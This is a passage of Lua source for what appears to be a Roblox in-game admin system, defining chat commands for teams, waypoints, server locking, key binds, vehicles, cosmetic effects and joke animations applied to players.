7576 if #TeamNameSplit >= 2 then
7577 local Color = TeamNameSplit[1]
7578 local NewTeamName = TeamNameSplit[2]
7579 if Color == "Medium stone grey" then
7580 TeamColor = BrickColor.new(Color)
7581 TeamName = NewTeamName
7582 elseif BrickColor.new(Color) ~= BrickColor.new("Medium stone grey") then
7583 TeamColor = BrickColor.new(Color)
7584 TeamName = NewTeamName
7585 elseif Colors[string.upper(Color)] then
7586 TeamColor = BrickColor.new(GUI:GetColor(string.upper(Color)))
7587 TeamName = NewTeamName
7588 end
7589 end
7590
7591 local NewTeam = Instance.new("Team", Server.Teams)
7592 NewTeam.TeamColor = TeamColor
7593 NewTeam.Name = TeamName
7594 end};
7595
7596 [{"leaveteam", "teamleave"}] = {"player", "Makes player be on no team", 1, "Member", false, function(Speaker, Rank, Arguments)
7597 local Players = STRING:Scan(Arguments[1], Speaker)
7598 for _,Player in pairs(Players) do
7599 Player.Neutral = true
7600 end
7601 end};
7602
7603 [{"team", "teamjoin", "jointeam"}] = {"player string", "Makes it so player joints team string", 2, "Member", false, function(Speaker, Rank, Arguments)
7604 local Players = STRING:Scan(Arguments[1], Speaker)
7605 if string.lower(Arguments[2]) == "none" then
7606 for _,Player in pairs(Players) do
7607 Player.Neutral = true
7608 end
7609 else
7610 for _,Obj in pairs(Server.Teams:GetChildren()) do
7611 if Obj:IsA("Team") then
7612 if string.sub(string.lower(Obj.Name),1,#Arguments[2]) == string.lower(Arguments[2]) then
7613 for _,Player in pairs(Players) do
7614 Player.Neutral = false
7615 Player.TeamColor = Obj.TeamColor
7616 end
7617 end
7618 end
7619 end
7620 end
7621 end};
7622
7623 [{"noteam", "unteam", "nonewteam", "unnewteam"}] = {"string", "Finds the team named string and removes it", 1, "Member", false, function(Speaker, Rank, Arguments)
7624 for _,Obj in pairs(Server.Teams:GetChildren()) do
7625 if Obj:IsA("Team") then
7626 if string.sub(string.lower(Obj.Name),1,#Arguments[1]) == string.lower(Arguments[1]) then
7627 for _,Player in pairs(Server.Players:GetPlayers()) do
7628 if Player.TeamColor == Obj.TeamColor then
7629 Player.Neutral = true
7630 end
7631 end
7632 Obj:Destroy()
7633 end
7634 end
7635 end
7636 end};
7637
7638 [{"clearteams", "cleanteams"}] = {"", "Clears all teams", 0, "Member", false, function(Speaker, Rank, Arguments)
7639 for _,Player in pairs(Server.Players:GetPlayers()) do
7640 Player.Neutral = true
7641 end
7642 for _,Obj in pairs(Server.Teams:GetChildren()) do
7643 if Obj:IsA("Team") then
7644 Obj:Destroy()
7645 end
7646 end
7647 end};
7648
7649 [{"countdown", "count", "ticker"}] = {"num", "Counts down an alarm from num", 1, "Member", false, function(Speaker, Rank, Arguments)
7650 for _,Player in pairs(Server.Players:GetPlayers()) do
7651 GUI:Countdown(Player, Arguments[1])
7652 end
7653 end};
7654
7655 [{"showad", "ad"}] = {"player", "Shows an ad to player(As of now, only people on mobile devices can see)", 1, "Admin", false, function(Speaker, Rank, Arguments)
7656 local Players = STRING:Scan(Arguments[1], Speaker)
7657 for _,Player in pairs(Players) do
7658 if Player:FindFirstChild("Backpack") then
7659 CORE:ExecuteResource("ShowAd", Player.Backpack)
7660 end
7661 end
7662 end};
7663
7664 [{"warp", "warpto"}] = {"player string", "Warps player to the point of string", 2, "Member", false, function(Speaker, Rank, Arguments)
7665 local Players = STRING:Scan(Arguments[1], Speaker)
7666 for _,Player in pairs(Players) do
7667 if Player.Character then
7668 for PosName,WP in pairs(Waypoints) do
7669 if string.sub(string.lower(PosName),1,#Arguments[2]) == string.lower(Arguments[2]) then
7670 Player.Character:MoveTo(WP + Vector3.new(0,0.5,0))
7671 break
7672 end
7673 end
7674 end
7675 end
7676 end};
7677
7678 [{"waypoint", "addwaypoint"}] = {"string num(X) num(Y) num(Z)", "Adds a waypoint to warp named string with the XYZ coordinates", 4, "Admin", false, function(Speaker, Rank, Arguments)
7679 CORE:AddWaypoint(Arguments[1], Vector3.new(Arguments[2], Arguments[3], Arguments[4]), Speaker)
7680 end};
7681
7682 [{"removewaypoint", "deletewaypoint", "destroywaypoint", "nowaypoint", "unwaypoint"}] = {"string", "Removes any waypoint named string", 1, "Member", false, function(Speaker, Rank, Arguments)
7683 local Num = 0
7684 for PosName,WP in pairs(Waypoints) do
7685 Num = Num + 1
7686 if string.sub(string.lower(PosName),1,#Arguments[1]) == Arguments[1] then
7687 Waypoints[PosName] = nil
7688 end
7689 end
7690 end};
7691
7692 [{"waypoints", "viewwaypoints", "waypointlist", "listwaypoints"}] = {"", "Views all waypoints to warp to", 0, "Member", false, function(Speaker, Rank, Arguments)
7693 local WaypointHolder,WaypointRaw = {},{}
7694 for Name, WP in pairs(Waypoints) do
7695 local View = Name..": "..tostring(WP)
7696 table.insert(WaypointHolder, View)
7697 WaypointRaw[View] = WP
7698 end
7699 local Clicked = GUI:ListGui(Speaker, "Waypoint List", WaypointHolder, "Map")
7700 Clicked.Event:connect(function(Text)
7701 local Waypoint = WaypointRaw[Text]
7702 if Waypoint then
7703 if Speaker.Character then
7704 Speaker.Character:MoveTo(Waypoint)
7705 end
7706 end
7707 end)
7708 end};
7709
7710 [{"list", "listplayer", "listplayers"}] = {"player", "Lists the player(s) in a gui list", 1, "Member", false, function(Speaker, Rank, Arguments)
7711 local Players = STRING:Scan(Arguments[1], Speaker)
7712 local List = {}
7713 for _,Player in pairs(Players) do
7714 table.insert(List, Player.Name.." (ID: "..Player.UserId..")")
7715 end
7716 GUI:ListGui(Speaker, "Listed Players", List)
7717 end};
7718
7719 [{"givepoints"}] = {"player num", "Gives num playerpoints to player", 2, "Owner", false, function(Speaker, Rank, Arguments)
7720 if tonumber(Arguments[1]) then
7721 ypcall(function() Server.PS:AwardPoints(tonumber(Arguments[1]), tonumber(Arguments[2])) end)
7722 else
7723 local Players = STRING:Scan(Arguments[1], Speaker)
7724 for _,Player in pairs(Players) do
7725 ypcall(function() Server.PS:AwardPoints(Player.UserId, tonumber(Arguments[2])) end)
7726 end
7727 end
7728 end};
7729
7730 [{"friends", "getfriends", "listfriends", "showfriends"}] = {"player", "Shows all the friends player is friends with in the server", 1, "Member", false, function(Speaker, Rank, Arguments)
7731 local Players = STRING:Scan(Arguments[1], Speaker)
7732 local Friends,OneFriend = {}, false
7733 for _,Player in pairs(Players) do
7734 for _,User in pairs(game:GetService("Players"):GetPlayers()) do if User ~= Player then
7735 --[[if Player:IsBestFriendsWith(User.UserId) then
7736 table.insert(Friends, Player.Name.." is best friends with "..User.Name)
7737 OneFriend = true
7738 ]]
7739 if Player:IsFriendsWith(User.UserId) then
7740 table.insert(Friends, Player.Name.." is friends with "..User.Name)
7741 OneFriend = true
7742 end
7743 if _ == #game:GetService("Players"):GetPlayers() and OneFriend == false then
7744 table.insert(Friends, Player.Name.." has no friends in this server (Loner)")
7745 end
7746 end end
7747 end
7748 GUI:ListGui(Speaker, "Friend List", Friends)
7749 end};
7750
7751 [{"serverlock", "lockserver"}] = {"", "Locks the server to prevent non-admins from joining", 0, "Owner", false, function(Speaker, Rank, Arguments)
7752 Settings.ServerLocked = true
7753 GUI:MessageAdmins("Server Locked", "The server has been locked. Only admins can join at this point.", 10, "Lock")
7754 end};
7755
7756 [{"noserverlock", "unserverlock", "unlockserver", "nolockserver", "nolock", "unlock"}] = {"", "Unlocks the server to enable non-admin joining", 0, "Owner", false, function(Speaker, Rank, Arguments)
7757 Settings.ServerLocked = false
7758 GUI:MessageAdmins("Server Unlocked", "The server has been unlocked. Anyone not banned or crashed can join", 10, 11344402)
7759 end};
7760
7761 [{"minage", "minimumage", "restrictage"}] = {" num", "Restricts any player that is younger than the age(in days) num from joining", 0, "Owner", false, function(Speaker, Rank, Arguments)
7762 local OldAge = Settings.MinimumAge
7763 local Age = tostring(Arguments[1])
7764 if Age then
7765 Settings.MinimumAge = Age
7766 GUI:MessageAdmins("Minumum age change", "The minimum age required to join this server is now "..Age.." days old(was "..OldAge.." days old)", 10)
7767 end
7768 end};
7769
7770 [{"vipadmin", "adminvip"}] = {"", "Prompts speaker the VIP item to grant Admin level permissions", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
7771 if Settings.VIPAdminID <= 1 then
7772 MARKET:PromptPurchase(Speaker, VIPAdminID)
7773 else
7774 CORE:SendMessage(Speaker, "No Admin VIP", "The creator ("..GameOwner..") did not add a admin rank VIP to Make".."rModelLua's Admin", 7)
7775 end
7776 end};
7777
7778 [{"vipmember", "membervip"}] = {"", "Prompts speaker the VIP item to grant Member level permissions", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
7779 if Settings.VIPMemberID <= 1 then
7780 MARKET:PromptPurchase(Speaker, VIPMemberID)
7781 else
7782 CORE:SendMessage(Speaker, "No Member VIP", "The creator ("..GameOwner..") did not add a member rank VIP to Make".."rModelLua's Admin", 7)
7783 end
7784 end};
7785
7786 [{"headsize", "sizehead", "resizehead", "headresize"}] = {"player num", "Resizes player's head to num. 100 = normal size 200 = double size 50 = half size", 2, "Member", true, function(Speaker, Rank, Arguments)
7787 if tonumber(Arguments[2]) then
7788 local Players = STRING:Scan(Arguments[1], Speaker)
7789 local Size = tonumber(Arguments[2])+25
7790 for _,Player in pairs(Players) do
7791 if Player.Character then
7792 if Player.Character:FindFirstChild("Head") then
7793 if Player.Character.Head:FindFirstChild("Mesh") then
7794 Player.Character.Head.Mesh.Scale = Vector3.new(Size/100,Size/100,Size/100)
7795 end
7796 end
7797 end
7798 end
7799 end
7800 end};
7801
7802 [{"control"}] = {"player", "Allows speaker to take control of player", 1, "Member", false, function(Speaker, Rank, Arguments)
7803 local Players = STRING:Scan(Arguments[1], Speaker)
7804 for _,Player in pairs(Players) do
7805 if Player.Character and Player.Character:FindFirstChild("Torso") then
7806 CORE:ChangeCharacter(Speaker, Player.UserId, false, Speaker, true, Player.Character.Torso.Position)
7807 Player.Character.Parent = nil
7808 CORE:ExecuteResource("CameraControl", Player.Backpack, {["Speaker"] = Speaker})
7809 end
7810 end
7811 end};
7812
7813 [{"settings"}] = {"", "Shows settings to speaker. If high enough rank, the speaker can edit settings", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
7814 GUI:SettingsGui(Speaker)
7815 end};
7816
7817 [{"hasasset", "ownsasset"}] = {"player num(ID)", "Shows if player has asset num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7818 if tonumber(Arguments[2]) then
7819 local Players = STRING:Scan(Arguments[1], Speaker)
7820 local List = {}
7821 for _,Player in pairs(Players) do
7822 if Server.MPS:PlayerOwnsAsset(Player, tonumber(Arguments[2])) then
7823 table.insert(List, Player.Name)
7824 end
7825 end
7826 GUI:ListGui(Speaker, "Players who have asset ID: "..Arguments[2], List, 23916171)
7827 end
7828 end};
7829
7830 [{"reck", "rek", "rekt", "shrekt", "wreck", "noscope", "mlg"}] = {"player", "rekts player in a haxy way", 1, "Member", true, function(Speaker, Rank, Arguments)
7831 local Players = STRING:Scan(Arguments[1], Speaker)
7832 for _,Player in pairs(Players) do
7833 if Player.Character and Player.Character:FindFirstChild("Head") then
7834 local Char = Player.Character
7835 Char:BreakJoints()
7836 CORE:ScanItems(Char, {"BasePart"}, function(Obj)
7837 Obj.Anchored = true
7838 for _,Face in pairs({"Top", "Bottom", "Right", "Left", "Front", "Back"}) do
7839 local Decal = Instance.new("Decal", Obj)
7840 Decal.Texture = "rbxassetid://178913323"
7841 Decal.Face = Face
7842 end
7843 end)
7844 local Sound1 = SOUND:MakeSound(Char.Head, 131509782, 1, 1)
7845 local Sound2 = SOUND:MakeSound(Char.Head, 179497874, 1, 1)
7846 Sound1:Play() Sound2:Play()
7847 coroutine.wrap(function()
7848 coroutine.wrap(function() wait(4.9) Sound1:Stop() Sound2:Stop() end)()
7849 repeat wait()
7850 CORE:ScanItems(Char, {"BasePart"}, function(Obj)
7851 SOUND:MakeSound(Char.Head, "rbxasset://sounds/uuhhh.mp3", 1, math.random(80,120)/100):Play()
7852 Obj.Transparency = math.random(0,30)/100
7853 Obj.Reflectance = math.random(0,50)/100
7854 Obj.CFrame = Obj.CFrame * CFrame.new(math.random(-10,10),math.random(-5,10),math.random(-10,10)) * CFrame.Angles(math.rad(math.random(0,360)),math.rad(math.random(0,360)),math.rad(math.random(0,360)))
7855 end)
7856 until Char ~= Player.Character or Char.Parent == nil
7857 end)()
7858 end
7859 end
7860 end, Hidden = true};
7861
7862 [{"define", "lookup", "definition"}] = {"string", "Looks up the word on webster's online dictionary", 1, "Member", false, function(Speaker, Rank, Arguments)
7863 GUI:SendMessage(Speaker, "Definition of "..Arguments[1], REMOTE:DefineWord(Arguments[1]), 185923691)
7864 end, Http = true};
7865
7866 [{"neon", "glow"}] = {"player", "Makes player glow like a neon light", 1, "Member", false, function(Speaker, Rank, Arguments)
7867 local Players = STRING:Scan(Arguments[1], Speaker)
7868 for _,Player in pairs(Players) do
7869 if Player.Character then
7870 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
7871 Obj.Material = "Neon"
7872 end)
7873 end
7874 end
7875 end};
7876
7877 [{"noneon", "noglow", "unneon", "unglow"}] = {"player", "Removes any glowing neon from player", 1, "Member", false, function(Speaker, Rank, Arguments)
7878 local Players = STRING:Scan(Arguments[1], Speaker)
7879 for _,Player in pairs(Players) do
7880 if Player.Character then
7881 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
7882 Obj.Material = "Plastic"
7883 end)
7884 end
7885 end
7886 end};
7887
7888 [{"asd", "swag"}] = {"player", "Makes player look like a swagger", 1, "Member", true, function(Speaker, Rank, Arguments)
7889 local Players = STRING:Scan(Arguments[1], Speaker)
7890 for _,Player in pairs(Players) do
7891 if Player.Character then
7892 CORE:ScanItems(Player.Character, {"JointInstance"}, function(Obj)
7893 Obj.C0 = Obj.C0 * CFrame.new(math.random(-5,5),math.random(0,5),math.random(-5,5))
7894 end)
7895 end
7896 end
7897 end, Hidden = true};
7898
7899 [{"getpos", "getposition", "playerpos", "playerposition"}] = {"player", "Gets player's position and prompts to add it to waypoints", 1, "Admin", false, function(Speaker, Rank, Arguments)
7900 local Players = STRING:Scan(Arguments[1], Speaker)
7901 for _,Player in pairs(Players) do
7902 if Player.Character and Player.Character:FindFirstChild("Torso") then
7903 local Pos = Player.Character.Torso.Position
7904 Pos = Vector3.new(CORE:Round(Pos.X), CORE:Round(Pos.Y), CORE:Round(Pos.Z))
7905 local Answer = GUI:PromptMessageWithButtons(Speaker, Player.Name.."'s position", Player.Name.." is located at ("..tostring(Pos)..") would you like a waypoint under his/her name?", "Question", {"Cancel", "Ok"})
7906 if Answer == "Ok" then
7907 CORE:AddWaypoint(Player.Name, Pos, Speaker)
7908 end
7909 end
7910 end
7911 end};
7912
7913 [{"point", "find", "laser"}] = {"player1 player2", "Creates a laser that points from player1 to player2", 2, "Member", false, function(Speaker, Rank, Arguments)
7914 local PlayersFrom = STRING:Scan(Arguments[1], Speaker)
7915 local PlayersTo = STRING:Scan(Arguments[2], Speaker)
7916 if PlayersFrom and PlayersTo then
7917 for _,PlayerFrom in pairs(PlayersFrom) do
7918 for _,PlayerTo in pairs(PlayersTo) do
7919 if PlayerFrom.Character and PlayerTo.Character then
7920 if PlayerFrom.Character:FindFirstChild("Humanoid") and PlayerTo.Character:FindFirstChild("Torso") then coroutine.wrap(function()
7921 local Laser = Instance.new("SelectionPartLasso", PlayerFrom.Character) Laser.Humanoid = PlayerFrom.Character.Humanoid Laser.Part = PlayerTo.Character.Torso Laser.Color = GUI:GetNameColor(PlayerTo.Name)
7922 wait(5)
7923 Laser:Destroy()
7924 end)() end
7925 end
7926 end
7927 end
7928 end
7929 end};
7930
7931 [{"ragdoll", "rag"}] = {"player", "Makes player a ragdoll(Removes humanoid)", 1, "Member", false, function(Speaker, Rank, Arguments)
7932 local Players = STRING:Scan(Arguments[1], Speaker)
7933 for _,Player in pairs(Players) do
7934 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7935 Player.Character.Humanoid:Destroy()
7936 end
7937 end
7938 end};
7939
7940 [{"plugins", "getplugins", "pluginlist"}] = {"", "Shows plugins", 0, "Admin", false, function(Speaker, Rank, Arguments)
7941 if Plugins then
7942 local List = {}
7943 for _,Module in pairs(Plugins:GetChildren()) do
7944 if Module:IsA("ModuleScript") then
7945 local Enabled = Module:FindFirstChild("Enabled") or {Value = false}
7946 local Creator = Module:FindFirstChild("Creator") or {Value = "None"}
7947 local VersionVal = Module:FindFirstChild("Version") or {Value = 1}
7948 table.insert(List, Module.Name.." V"..VersionVal.Value.." by "..Creator.Value.." | RUNNING: "..STRING:BoolString(Enabled.Value))
7949 end
7950 end
7951 GUI:ListGui(Speaker, "Plugin List", List, "Plugin")
7952 else
7953 GUI:SendMessage(Speaker, "Cannot get plugins", "Could not find plugin directory", "Notice", 5)
7954 end
7955 end};
7956
7957 [{"detachchat", "detachc", "dchat", "dc"}] = {"player", "Detaches player's roblox chat gui into a MMLA gui", 1, "Admin", false, function(Speaker, Rank, Arguments)
7958 local Players = STRING:Scan(Arguments[1], Speaker)
7959 for _,Player in pairs(Players) do
7960 GUI:DetachChat(Player)
7961 end
7962 end};
7963
7964 [{"detachmychat", "detachmyc", "dmychat", "dmyc", "detachmchat", "detachmc", "dmchat", "dmc"}] = {"", "Detaches speaker's roblox chat gui into a MMLA gui", 0, "Member", false, function(Speaker, Rank, Arguments)
7965 GUI:DetachChat(Speaker)
7966 end};
7967
7968 [{"truck", "runover"}] = {"player", "Runs player over with a truck", 1, "Member", true, function(Speaker, Rank, Arguments)
7969 local Players = STRING:Scan(Arguments[1], Speaker)
7970 for _,Player in pairs(Players) do
7971 if Player.Character and Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Humanoid") then
7972 local Dead = false
7973
7974 Player.Character.Humanoid.WalkSpeed = 1
7975 local Torso = Player.Character.Torso
7976 local Truck = Instance.new("Part", Workspace) Truck.Name = "Truck" Truck.Size = Vector3.new(9, 9, 15) Truck.CanCollide = false Truck.Position = Torso.CFrame:toWorldSpace(CFrame.new(0, 0, -150)).p
7977 Truck:BreakJoints()
7978 local Mesh = Instance.new("SpecialMesh", Truck) Mesh.MeshId = "rbxassetid://52157810" Mesh.TextureId = "rbxassetid://52157085" Mesh.Scale = Vector3.new(11, 11, 11)
7979 local BG = Instance.new("BodyGyro", Truck) BG.maxTorque = Vector3.new(math.huge, math.huge, math.huge) BG.cframe = CFrame.new(Truck.Position, Torso.Position + Vector3.new(0, (Truck.Size.Y / 2) - 3, 0))
7980 local BV = Instance.new("BodyVelocity", Truck) BV.maxForce = Vector3.new(math.huge, math.huge, math.huge) BV.velocity = CFrame.new(Truck.Position, Torso.Position + Vector3.new(0, (Truck.Size.Y / 2) - 3, 0)).lookVector * 100
7981 Truck.Touched:connect(function(Part)
7982 if Dead == false then
7983 local TouchPlayer = Server.Players:GetPlayerFromCharacter(Part.Parent or Part.Parent.Parent)
7984 if TouchPlayer == Player then
7985 Dead = true
7986 Player.Character:BreakJoints()
7987 SOUND:MakeSound(Truck, 264486467):Play() -- splat
7988 end
7989 end
7990 end)
7991 SOUND:MakeSound(Truck, 236746885, 0.5, 2):Play() -- truck
7992 Delay(1, function() SOUND:MakeSound(Truck, 130802373):Play() end) -- horn
7993 Delay(5, function()
7994 Truck:Destroy()
7995 if Player.Character:FindFirstChild("Humanoid") then
7996 Player.Character.Humanoid.WalkSpeed = 16
7997 end
7998 end)
7999 end
8000 end
8001 end};
8002
8003 [{"telljoke", "showjoke", "tj", "sj"}] = {"player", "Tells player a random joke", 1, "Admin", true, function(Speaker, Rank, Arguments)
8004 local Joke = REMOTE:DownloadJoke(Speaker)
8005 local Players = STRING:Scan(Arguments[1], Speaker)
8006 for _,Player in pairs(Players) do
8007 GUI:SendMessage(Player, "Joke", Joke, 19629580)
8008 end
8009 end, Http = true};
8010
8011 [{"joke", "laugh"}] = {"player", "Tells speaker a random joke)", 0, "Member", true, function(Speaker, Rank, Arguments)
8012 local Joke = REMOTE:DownloadJoke(Speaker)
8013 GUI:SendMessage(Speaker, "Joke for you", Joke, 19629580)
8014 end, Http = true};
8015
8016 [{"doge", "dog"}] = {"player", "Turns player into doge", 1, "Member", true, function(Speaker, Rank, Arguments)
8017 local Players = STRING:Scan(Arguments[1], Speaker)
8018 for _,Player in pairs(Players) do
8019 if Player.Character and Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Head") and Player.Character:FindFirstChild("Humanoid") then
8020 CORE:InvisiblePlayer(Player)
8021 local DogContainer = Instance.new("Model", Player.Character)
8022 DogContainer.Name = "Doge"
8023 local Dog = CORE:Insert(257489726, DogContainer, true)
8024 Dog.Head.Transparency = 0.99
8025 Dog.Name = Player.Name
8026 Dog:MoveTo(Player.Character.Torso.Position)
8027 local Weld = Instance.new("Weld", Dog.Torso)
8028 Weld.Part0 = Player.Character.Torso
8029 Weld.Part1 = Dog.Torso
8030 Weld.C0 = CFrame.new(0,-0.4,0)
8031 for _,Obj in pairs(Dog:GetChildren()) do
8032 if Obj:IsA("BasePart") then
8033 Obj.CanCollide = false
8034 end
8035 end
8036
8037 CORE:ExecuteResource("SetCameraSubject", Dog:FindFirstChild("Humanoid"), {})
8038 end
8039 end
8040 end};
8041
8042 [{"bindkey", "keybind", "bind", "kb", "bk"}] = {"string(key) string(command)", "Binds the key press of speaker into a command", 2, "Admin", false, function(Speaker, Rank, Arguments)
8043 local Key = string.lower(string.sub(Arguments[1],1,1))
8044 KeyBinds[Speaker.UserId][Key] = Arguments[2]
8045 GUI:SendHint(Speaker, "Binded the '"..Key.."' key to "..Arguments[2])
8046 end};
8047
8048 [{"nobindkey", "nokeybind", "nobind", "nkb", "nbk", "unbindkey", "unkeybind", "unbind", "ukb", "ubk"}] = {"string(key)", "Unbinds speaker's keys binding to a command", 1, "Admin", false, function(Speaker, Rank, Arguments)
8049 local Key = string.lower(string.sub(Arguments[1],1,1))
8050 KeyBinds[Speaker.UserId][Key] = nil
8051 GUI:SendHint(Speaker, "Unbinded the '"..Key.."' key")
8052 end};
8053
8054 [{"clearkeybinds", "clearbinds", "clearb", "clearkeys", "unbindallkeys"}] = {"", "Clears all of speaker's key binds", 0, "Admin", false, function(Speaker, Rank, Arguments)
8055 KeyBinds[Speaker.UserId] = {}
8056 GUI:SendHint(Speaker, "Unbinded all keys")
8057 end};
8058
8059 [{"forcebindkey", "forcekeybind", "forcebind", "fkb", "fbk"}] = {"player string(key) string(command)", "Binds the key press of player into a command", 3, "Owner", false, function(Speaker, Rank, Arguments)
8060 local Players = STRING:Scan(Arguments[1], Speaker)
8061 local Key = string.lower(string.sub(Arguments[2],1,1))
8062 for _,Player in pairs(Players) do
8063 KeyBinds[Player.UserId][Key] = Arguments[3]
8064 GUI:SendHint(Player, "Binded the '"..Key.."' key to "..Arguments[3])
8065 end
8066 end};
8067
8068 [{"forcenobindkey", "forcenokeybind", "forcenobind", "fnkb", "fnbk", "forceunbindkey", "forceunkeybind", "forceunbind", "fukb", "fubk"}] = {"player string(key)", "Unbinds player's keys binding to a command", 2, "Owner", false, function(Speaker, Rank, Arguments)
8069 local Players = STRING:Scan(Arguments[1], Speaker)
8070 local Key = string.lower(string.sub(Arguments[2],1,1))
8071 for _,Player in pairs(Players) do
8072 KeyBinds[Player.UserId][Key] = nil
8073 GUI:SendHint(Player, "Unbinded the '"..Key.."' key")
8074 end
8075 end};
8076
8077 [{"forceclearkeybinds", "forceclearbinds", "forceclearb", "fclearb", "forceclearkeys", "forceunbindallkeys"}] = {"player", "Clears all of player's key binds", 1, "Owner", false, function(Speaker, Rank, Arguments)
8078 local Players = STRING:Scan(Arguments[1], Speaker)
8079 for _,Player in pairs(Players) do
8080 KeyBinds[Player.UserId] = {}
8081 GUI:SendHint(Player, "Unbinded all keys")
8082 end
8083 end};
8084
8085 [{"keybinds", "keys", "binds", "viewkeybinds", "viewkeys", "viewkeybinds", "showkeybinds", "showkeys", "showbinds", "vkb", "skb"}] = {"player", "Shows all of player's key binds", 1, "Admin", false, function(Speaker, Rank, Arguments)
8086 local Players = STRING:Scan(Arguments[1], Speaker)
8087 local Binds = {}
8088 for _,Player in pairs(Players) do
8089 for Key,Bind in pairs(KeyBinds[Player.UserId]) do
8090 table.insert(Binds, Player.Name..": '"..Key.."' binds to command: "..Bind)
8091 end
8092 end
8093 GUI:ListGui(Speaker, "Key Bindings", Binds, 218580411)
8094 end};
8095
8096 [{"crown"}] = {"player string(mesh) string(color)", "Gives player a crown with the color of string(color) and the mesh of string(mesh)", 1, "Member", false, function(Speaker, Rank, Arguments)
8097 local ChatSplit = STRING:GetSplit(Arguments[1], 2, Settings.Bet) or {}
8098 local Players = STRING:Scan(ChatSplit[1], Speaker)
8099 for _,Player in pairs(Players) do
8100 if Crowns[Player.UserId] then
8101 Crowns[Player.UserId]:Destroy()
8102 Crowns[Player.UserId] = nil
8103 wait()
8104 end
8105 CORE:Crown(Player, ChatSplit[2], ChatSplit[3])
8106 end
8107 end};
8108
8109 [{"nocrown", "uncrown", "decrown"}] = {"player", "Removes player's crown", 1, "Member", false, function(Speaker, Rank, Arguments)
8110 local Players = STRING:Scan(Arguments[1], Speaker)
8111 for _,Player in pairs(Players) do
8112 if Crowns[Player.UserId] then
8113 Crowns[Player.UserId]:Destroy()
8114 Crowns[Player.UserId] = nil
8115 end
8116 end
8117 end};
8118
8119 [{"meshes", "meshlist", "viewmeshes"}] = {"", "Lists meshes to speaker", 0, "Member", false, function(Speaker, Rank, Arguments)
8120 local MeshList = {}
8121 for MeshName,Data in pairs(Meshes) do
8122 table.insert(MeshList, string.upper(string.sub(MeshName,1,1))..string.sub(MeshName,2).." ( ID: "..Data[2].." )")
8123 end
8124 GUI:ListGui(Speaker, "Mesh List", MeshList, 186369377)
8125 end};
8126
8127 [{"fixsounds", "fixmusic", "fixs"}] = {"", "Scans workspaces and stops any sounds", 0, "Admin", false, function(Speaker, Rank, Arguments)
8128 CORE:ScanItems(Server.Workspace, {"Sound"}, function(Obj) Obj:Stop() end)
8129 end};
8130
8131 [{"santa", "hoho", "christmas"}] = {"player", "Turns player into jolly saint nick!", 1, "Member", true, function(Speaker, Rank, Arguments)
8132 local Players = STRING:Scan(Arguments[1], Speaker)
8133 for _,Player in pairs(Players) do
8134 if Player.Character and Player.Character:FindFirstChild("Head") and Player.Character.Head:FindFirstChild("face") then
8135 ypcall(function() Player.Character.Torso.roblox:Destroy() end)
8136 Player:ClearCharacterAppearance()
8137 CORE:GivePackage(Player, 41851073)
8138 CORE:Insert(19398728, Player.Character, true).Handle.Mesh.TextureId = "rbxassetid://19744384"
8139 Player.Character.Head.face.Texture = "rbxassetid://7699086"
8140 end
8141 end
8142 end};
8143
8144 [{"car"}] = {"player color", "Spawns the best sports car in existance to player. If color argument is provided, it will color it.", 1, "Member", true, function(Speaker, Rank, Arguments)
8145 local Arguments = STRING:GetSplit(Arguments[1], 2, Settings.Bet)
8146 local Players = STRING:Scan(Arguments[1], Speaker)
8147 for _,Player in pairs(Players) do
8148 if Cars[Player.UserId] then Cars[Player.UserId]:Destroy() end
8149 local Car = CORE:Insert(10479801, Server.Workspace, true)
8150 local Body = Car["Motor (torque)Chassis"].Part
8151 Cars[Player.UserId] = Car
8152 Car:MakeJoints()
8153 Car.VehicleSeat.MaxSpeed = 50
8154 Car.VehicleSeat.TurnSpeed = 1.5
8155 CORE:ScanItems(Car, {"BasePart"}, function(Obj) Obj.Locked = true end)
8156 if Arguments[2] and GUI:GetColor(Arguments[2]) then
8157 Body.Color = GUI:GetColor(Arguments[2])
8158 else
8159 Body.BrickColor = GUI:GetNameColor(Player.Name)
8160 end
8161 for _,Part in pairs(Car["Motor (torque)Chassis"]:GetChildren()) do
8162 if Part.Name ~= "Part" then
8163 Part.BrickColor = BrickColor.new("Really black")
8164 Part.Friction = 0.7
8165 end
8166 end
8167 local Light = Instance.new("SpotLight", Body)
8168 Light.Face = "Back"
8169 Light.Brightness = 5
8170 Light.Range = 20
8171 Light.Color = Color3.new(0,1,1)
8172 if Player.Character and Player.Character.Torso then
8173 Car:MoveTo(Player.Character.Torso.Position + Vector3.new(0, 5, 0))
8174 Player.Character.Torso.CFrame = CFrame.new(Car.VehicleSeat.CFrame.p + Vector3.new(0, 0.3, 0))
8175 --[[local Weld = Instance.new("Weld", Car.VehicleSeat)
8176 Weld.Part0 = Car.VehicleSeat
8177 Weld.Part1 = Player.Character.Torso
8178 coroutine.wrap(function() wait(0.1) Weld:Destroy() end)()]]
8179 Delay(0.4, function()
8180 Car.VehicleSeat.Velocity = CFrame.new(Car.VehicleSeat.Velocity):toWorldSpace(CFrame.new(0, 0, -25)).p
8181 wait(0.1)
8182 Car.VehicleSeat.Velocity = CFrame.new(Car.VehicleSeat.Velocity):toWorldSpace(CFrame.new(0, 0, 25)).p
8183 end)
8184 end
8185 local SoundID = 147944604
8186 if RANK:GetRank(Player) == "Owner" then
8187 SoundID = 133313356
8188 Car.VehicleSeat.MaxSpeed = 80
8189 Body.Material = "DiamondPlate"
8190 Car.VehicleSeat.Torque = 11
8191 end
8192 local Engine = SOUND:MakeSound(Car.VehicleSeat, SoundID, 0.5, 1, true)
8193 Engine:Play()
8194 coroutine.wrap(function() while wait() and Car and Car:FindFirstChild("VehicleSeat") do
8195 Engine.Pitch = (Car.VehicleSeat.Velocity.magnitude/50) + 1
8196 end if Engine then Engine:Stop() end end)()
8197 end
8198 end};
8199
8200 [{"nocar", "uncar"}] = {"player", "Removes player's car", 1, "Member", true, function(Speaker, Rank, Arguments)
8201 local Players = STRING:Scan(Arguments[1], Speaker)
8202 for _,Player in pairs(Players) do
8203 if Cars[Player.UserId] then
8204 Cars[Player.UserId]:Destroy()
8205 end
8206 end
8207 end};
8208
